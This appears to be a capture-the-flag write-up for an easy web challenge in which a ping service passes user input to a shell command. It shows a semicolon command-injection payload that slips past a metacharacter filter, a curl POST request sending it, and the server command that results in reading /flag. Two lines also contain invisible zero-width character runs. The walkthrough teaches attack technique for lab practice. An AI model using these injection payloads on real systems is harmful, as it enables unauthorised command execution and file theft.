Ping me

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: semicolon_command_chaining, waf_bypass

Summary

Walkthrough of the CUSTOM Web Ping me. Task: Ping service with user input passed to shell command. Solution: Command injection via semicolon chaining (;) to bypass WAF and read /flag.

Description

A ping service at https://2019-10-13-cmdinj.ctf.su/task/ping that emulates ping.eu/ping. Flag is in /flag on the server.

Analysis

The service accepts an IP address and executes the command ping -c 1 -W 1 <user_input>. A WAF is present that blocks some shell metacharacters:

WAF rules:

• ; (semicolon) - ALLOWED
• | (pipe) - disabled
• && - disabled
• ` (backtick) - disabled
• $() - disabled
• # - disabled

Key point: the semicolon (;) is allowed, which enables command chaining. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Since the semicolon is allowed, we can append a second command after ping:

 bash read-only • copy allowed Copy
# Payload
127.0.0.1;cat /flag

Sending a POST request:

 bash read-only • copy allowed Copy
curl -X POST https://2019-10-13-cmdinj.ctf.su/task/ping \
  -d "address=127.0.0.1;cat /flag"

The server executes:

 bash read-only • copy allowed Copy
ping -c 1 -W 1 127.0.0.1;cat /flag

Result: ping output followed by the contents of /flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering semicolon_command_chaining, waf_bypass was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2019-10-13 • CUSTOM • Ping me • Difficulty: Easy